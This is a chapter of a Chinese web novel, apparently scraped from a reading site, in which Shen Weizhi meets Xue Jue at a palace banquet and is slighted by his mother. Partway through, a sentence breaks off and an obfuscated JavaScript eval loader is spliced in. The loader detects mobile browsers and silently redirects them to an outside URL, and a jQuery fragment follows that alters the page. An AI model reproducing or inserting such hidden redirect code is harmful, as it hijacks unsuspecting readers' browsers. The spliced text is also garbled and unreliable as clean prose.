13. 锦鲤
作品:《和清冷前夫重生后》 与薛珏再见面,是半个月后的宫宴上,太后寿辰,宫中大摆宴席,京中四品官员及家眷可入宫参宴。
沈微栀这半个月在董氏的调理下养好了身子,但要后背那块淤青还没褪下去,反倒变得更紫,大夫说是因为皮下有淤血所致,需得时日才能褪下去。
好在已经不疼了,不耽误沈微栀出行活动。
一家人前往宫中的马车上,朱氏说漏了嘴,张氏这才知道沈微栀落水一事。
朱氏是沈微栀堂哥沈尧旷的妻子,她在沈府待了三年,对董氏和张氏的不和睦看在眼里,发觉自己说漏了嘴,她略带歉疚的看向董氏。
董氏倒是没责怪。
“哦?竟有这样的事,不过这已经半月余了,敬国公府还未上门,定然是要大肆准备聘礼吧。”
张氏一下就摸准了董氏的心头结,董氏这段日子不肯让沈微栀见薛珏,就是因为薛府迟迟没有动静。
“薛二公子英勇相救,此乃义举,只当做恩人来报答便是,何必非要用儿女婚事做牵扯,”董氏面上淡淡然,漫不经心地将此事揭过去,说完,又看向旁边的沈采芜,她又自若地转移话题,“说起婚事,仲太傅的病还是未知数,采芜和仲家的婚事合该早早定下来才是,你这个做母亲可要有的忙了。”
这话落在张氏这里,极不顺耳,当初她非要将仲家的婚事争夺来,如今仲太傅病的快要死了,她觉得董氏是在笑话她竹篮打水一场空。
“这就不劳董妹妹费心了。”张氏因大了董氏几岁,一直以姐姐自居。
听她话里的阴阳怪气,董氏懒得再搭理对方。
母女二人单独上了一辆马车。
张氏作为平妻,本是无资格入宫的,但当年流民之乱,皇后被流民挟持,她机缘巧合下,对皇后有了救命之恩。
当年沈嘉宏升官后,宫中特许沈府可以封两位诰命夫人,但董氏当场回绝,这诰命夫人的封荫便落在了张氏身上。
因为这件事,沈嘉宏在朝中颇受非议。
看得出董氏这会儿心情不好,沈微栀知道母亲的心事。
当年外祖父一家被贬出京,与诰命一事有莫大关系。
当年张氏被封诰命,外祖父和舅舅去陛下面前鸣不平,因言辞激切,被以大不敬的罪名贬黜离京。
这些年,母亲也很少入宫,但今日不同,太后同祖母曾是闺中好友,祖母已故去多年,这些年只有去看望太后,母亲才会入宫。
“母亲这些年可曾想过同父亲和离?”
董氏原本在闭眸假寐,听沈微栀这么问,她睁开眼,怔了怔,随后看向沈微栀,眉头微蹙:“小孩子家家的,莫要管我和你父亲的闲事,少看些大逆不道的闲书,竟琢磨起我和你爹的婚事来了?”
说罢,见沈微栀依旧一副若有所思的模样,董氏转移话题:“今日入了宫,若是见到薛珏,莫要失了分寸。”
听董氏提起薛珏,沈微栀吐了吐舌头:“女儿自然知道。”
入宫后,沈嘉宏要和董氏张氏去拜见帝后,沈微栀不愿跟沈采芜同行,便自行去后花园溜达。
沈嘉宏官阶不高,家眷入宫的机会并不多,但沈微栀当年是在侯府长大的,那年外祖父和舅舅受陛下器重,沈微栀幼时跟在外祖父身边,少不了入宫的机会,因此,她对宫中并不陌生。
御花园中,世家公子与名门贵女三五成群,吟诗作对,好不热闹。
沈微栀一眼就瞧见了人群中的薛珏,对方也第一瞬间就捕捉到了她的身影,正远远含笑看着她。
“薛二公子刚才派人传信,想邀您去湖心亭看风景。”
沈微栀顺着视线瞧去,湖心亭距此处有些距离,人也没此处多。
但自上次坠湖后,沈微栀便害怕去水边。
她远远地对着薛珏摇了摇头,指了指不远处的戏台。
戏台旁成群的人,吟诗对词,投壶猜谜,好不热闹。
“微栀,有两个月不见你了,你最近在忙什么?竟也不叫我们出去玩了。”
被人喊到名字,沈微栀看向戏台旁那几个女子,她怔住,这是她在闺中时的好友,后来嫁人后,各自成家,而她……也很少出门,渐渐地,便生疏了。
工部尚书府的嫡女贺念真是与她关系最好的密友,但后来贺念真嫁给三皇子,两人就很少有机会再见面了。
沈微栀尚未来得及感怀太久。
贺念真逮住沈微栀的手臂,与她挽着:“幸好你来了,快来帮我投壶,这彩头可是太后娘娘珍藏的一对玉如意。”
被贺念真这一拉,沈微栀将不远处遥相顾的薛珏忘在了脑后。
“不玩了,不玩了,你把沈微栀叫来,这还怎么玩啊!”
“就是就是,要我说,微栀投壶的本事谁不知道啊,微栀就该去男子那边与他们比较。”
“你话我就不爱听了,微栀是女子,自然要在这里比试,去男子那边做什么,计不如人就趁早认输。”贺念真得意的抱着沈微栀的手臂。
“好了好了,不然这样,让微栀蒙眼投壶,这样总行了吧。”
沈微栀刚要反对。
却听贺念真在耳边低声:“臭微栀,听说前些日子你去跟别人打马球了,竟然不曾叫我,今日要你好好陪我玩,就当是你补偿前段日子去找别人!”
沈微栀心虚不已,只好连连答应。
彩色的缎带遮在少女的眼前,清风吹过,发带飘扬,少女为了平息周遭的不满,甚至背过身,反手将手中的木杆投掷出去。
“咣当”一声,木杆贯耳。
“好!”周围一阵叫好,不远处的其他人也都被这处吸引了视线。
少女解下眼前的缎带,旁边人上前拥住她,两人抱在一起兴奋跳跃。
“微栀,中了,还是贯耳!”
“是啊,我竟然真的做到了贯耳!”沈微栀自己也不敢置信。
“表哥,你笑什么?”
不远处的摘星楼上,周孜毅瞧见面色温柔的仲书珩,他露出一副见了鬼的模样。
仲书珩收回视线,正色:“没什么。”
“今日好不容易出来一趟,你就在这摘星楼欣赏字画,无聊至极,那边如此热闹,咱们也去吧,我瞧着沈家姑娘也在那里,沈二落水有些日子了,咱们过去,问问她身体如何了,你正巧也去找机会同沈大姑娘说说话!”
这次周孜毅拉着仲书珩往戏台那边去,仲书珩没有拒绝。
但快要走近戏台时,仲书珩又停住了脚步。
贺念真大概是太过激动,拉着沈微栀欢呼,沈微栀被拉得趔趄,落地时脚下不稳,往后踉跄了一步,右臂被人牢牢握住。
“小心些。”
薛珏右手揽住了沈微栀的肩膀,左手抱着一个青花瓷的小瓮,小瓮里插着嫩绿的睡莲荷包,里头有一红一黑两条鲤鱼。
“薛二哥。”
瞧见薛珏时,沈微栀的眸色瞬间就亮了起来。
“表哥,你怎么不走了?”
周孜毅扭头见仲书珩停在半路,他催促。
“你去吧,我还有事。”
仲书珩无
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480069|201685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
法再欺瞒自己,眼下沈微栀瞧见薛珏时的那抹明亮深深刺痛了他。
他不想面对。
周孜毅打量了一下,发现周围没有沈大姑娘,心道仲书珩定是悄悄去见沈大姑娘,便没再过多关注。
“这是谁?”贺念真瞧出沈微栀和薛珏之间熟稔的氛围。
“还没来得及跟你说,这是敬国公府的二公子。”
“薛二哥,这是工部尚书府的大姑娘,是我最好的朋友。”
“在下薛珏,见过贺姑娘。”
堂堂世家公子,主动向自己打招呼,礼数周到,贺念真在他和沈微栀之间来回打量,随后几个眼刀劈向沈微栀。
沈微栀愈发心虚,赶紧使了个眼色,表示自己会好好解释,这才将人安抚好。
“微栀,这个给你。”薛珏将手中的小瓮递过来。
“哇,这锦鲤好漂亮!”贺念真一声轻呼。
很快,大家的视线都被薛珏手中的锦鲤吸引了视线。
“这是明月湖里锦鲤,方才入宫觐见陛下,陛下允了我两条,我方才将鱼儿吊了上来,送你。”
“这……这可太珍贵了,我不能要。”
“上次答应的彩鱼,迟迟没能送你,今日便以这锦鲤作为补偿。”薛珏凑近她耳边说了这么一句,消减了沈微栀的几分顾虑,但她还是没有收,只是瞧着小瓮里的彩鱼微微出神。
“薛二公子的母亲是万贵妃的亲妹,万贵妃得宠,薛二公子同陛下讨要些宫里锦鲤,就跟在外头野湖里钓鱼一样简单。”
“可这锦鲤如此珍贵,之前太傅立了治水大功才被陛下赏赐了几条,今日竟然就被薛二公子这般简单的送了人,这是哪家的姑娘?”
周围的人一边感叹锦鲤的绚彩灵动,一边将视线投在沈微栀身上。
“珏儿,你在做什么。”
突然,一声低呵从旁边传来。
循声看去,身着石青色织金花缎褙子的命妇缓步走来,沈微栀细细打量对方,见对方容貌保养得宜,应当是四十多岁的年纪,气质端庄,但偏长直的眼眸增填了几分冷意,不怒自威,令人望而生畏。
“母亲,我……”薛珏看清来人,语气带着迟缓。
还没等薛珏说完,那命妇看向沈微栀,上下打量片刻。
沈微栀从未被这样不加遮掩的视线打量,令她极为不舒服。
不知道是不是她的错觉,她感觉到对方的视线带着轻蔑。
“微栀。”突然一道声音传来。
沈微栀抬头看去,看见是自家母亲。
“母亲。”
唤完这声母亲,沈微栀感觉到对方投过来的不善视线收了回去。
她几乎是立刻就从薛珏身边退开,走到了母亲身边。
“还未去太后那里请安,怎得到处乱跑?”
“这就去了,”沈微栀说完,看向旁边的贺念真,不忘将人一起带走,“念真,你也一起去吗?”
“去,我也去。”
三人离开,沈微栀并未再看薛珏一眼。
薛珏拿着青瓷小瓮,望着沈微栀离去的背影,自然察觉到了沈微栀微妙转变的情绪。
“的确生得花容月貌,薛珏,你太让母亲失望了。”
“母亲,微栀她不是你想的那样。”薛珏怕母亲误会,赶紧要解释。
“上次你便掉进了妖精的圈套,这次竟哄着你将御花园的锦鲤钓上来送她,当真是昏了头。”
见万氏训斥自己,丝毫不顾周围投来的视线,薛珏怕事情闹大,不敢再顶嘴。

